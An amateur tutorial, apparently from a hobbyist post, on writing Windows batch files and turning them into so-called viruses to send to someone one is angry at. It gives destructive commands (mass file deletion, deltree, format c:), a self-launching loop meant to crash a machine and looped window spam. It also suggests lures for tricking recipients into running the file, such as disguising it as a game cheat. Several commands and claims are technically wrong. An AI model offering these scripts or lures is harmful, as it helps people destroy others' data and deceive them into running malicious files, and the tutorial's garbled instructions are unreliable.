Tools:

To make a batch file you will need a text program (ex. MS Word, Notepad, Word-pad, etc). And a Keyboard if you don’t have one you can use the ON-screen keyboard

(To get to the on-screen keyboard Start --> All programs --> Accessories --> Accessibility --> On-Screen Keyboard)

What makes a virus "a virus":

When people think of a virus they think of a computer virus but the word virus came from a virus that’s in our body. They also think a virus is meant to delete or destroy things. They normally do but a virus is called a virus because, it copies itself. Like a virus in your body it copies it self to other cells cause it can’t live with out a host. Same with a computer virus with out a file or a program a virus can’t be made. So all a computer virus is: a program that copies it self, but some people put destructive code in it.

Making a Batch file:

I’m going to use notepad you can use what ever you want. We are going to make a “Hello World” Application that is the first program you make in any language.

When making a batch file you are always going to use this line first

@echo off

You can turn it on if you like. All that does is telling the program not to tell its location. If you turn it on then the program will tell were it is at on the computer. You can experiment a little if you want. Now we are going to make it say Hello World.

To do this we need a echo command which looks like this

echo

This tells the program to write something since we want it to say "Hello World" we are going to type "Hello World" next to echo to make it look like this.

echo Hello World

so at this point you should have

@echo off
echo Hello World

Now go to file save and name it test.bat ( you can name it whatever you want as long as it has .bat at the end ). Save it to the desktop so you can get to it faster. Then run it.

You should see a black box open and close really fast, To fix this we need a pause command and we will also need a goto command. The goto command is the most important command. If you don't know the goto command tell it were to go to next. Since we need a pause command we want it to go to pause so we need to write goto pause like this.

goto pause

Now u should have

@echo off
echo Hello World
goto pause

Now we need a subsection name pause, you make a sub section by putting a : by the first word like this

:start

or

:end

but we said go to pause so we need one name pause like this,

pause

then under that we are going to write pause,

pause

this just makes it were it will keep the box open till you press a key.

Optional:

At the end you can put a exit at the end of pause were the goto command should go, but you don't have to. Save n run it now.You should be able to read your text now.

Making a Batch file into a virus:

This is a lot easier than some people think. To make a virus you just need the copy command which looks like this.

copy

so lets make a new one by reading section 3 you should know you need the @echo off

@echo off
copy

All right we are going to name this file first and we are going to make it copy itself to C:\WINDOWS just because no one looks in their. This is what it looks like (i will explain it)

@echo off

copy first C:\WINDOWS

Copy: tells it to copy

First: is just the name of the file we want to copy

C:\WINDOWS: is the place you want to copy to

that is a virus

Destructive commands:

If you get pissed at someone you might want to send him something to mess with him. Here are some commands to add to the virus.

del: this del files

del file name
del (.txt*)

the (.txt*) would delete all txt files on the computer the * at the end just means all instead of a file called .txt

deltree: this deletes the whole folder

You can remember it like this.. Think of a tree if you type del you are only deleting a part of the tree, but if you type deltree you are deleting the whole tree.

format: this deletes everything

format c:

this deletes everything in the C drive

open

this is just fun to use to scare some one but not do damage to something

open

for example to open notepad, type

open notepad

to open Microsoft Paint type

open mspaint

Just put ta crap load in their, also the next one that can be very useful is looping, this will make the file repeat itself till it is shut off. Let your first sub section is called start, you would just make the goto command to go to start like

@echo off
:start
start notepad
goto start

this will open notepad over and over again and if they don't close, it can crash their computer. To open the command window you have to use var. like %% (I'm not explaining var, it would be confusing 4 beginners)

@echo off
:whatever
start %0
goto whatever

this will open the black box over and over again.

Most command tricks 2 make someone open a file:

Put it in a folder with a name 'read me' doc. and call it a game file or Imp file to open.

Say.. "check this out it is so cool".

Say.. "check out this hack or cheat i found 4 this game".

Put it in a zip folder and send it, Unzip and right click on the program (don't open it) and press edit, that will show the source code and if you see something you don't like then delete it

Examples:

4 a simple message it will be as..

@echo off
echo *insert MSG here*
goto pause
pause

4 a rapid command prompt type screen it will be as..

@echo off
:whatever
start %0
goto whatever

4 rapid notepad it will be as..

@echo off
:start
start notepad
goto start

4 rapid ms paint it will be as..

@echo off
:start
start ms paint
goto start
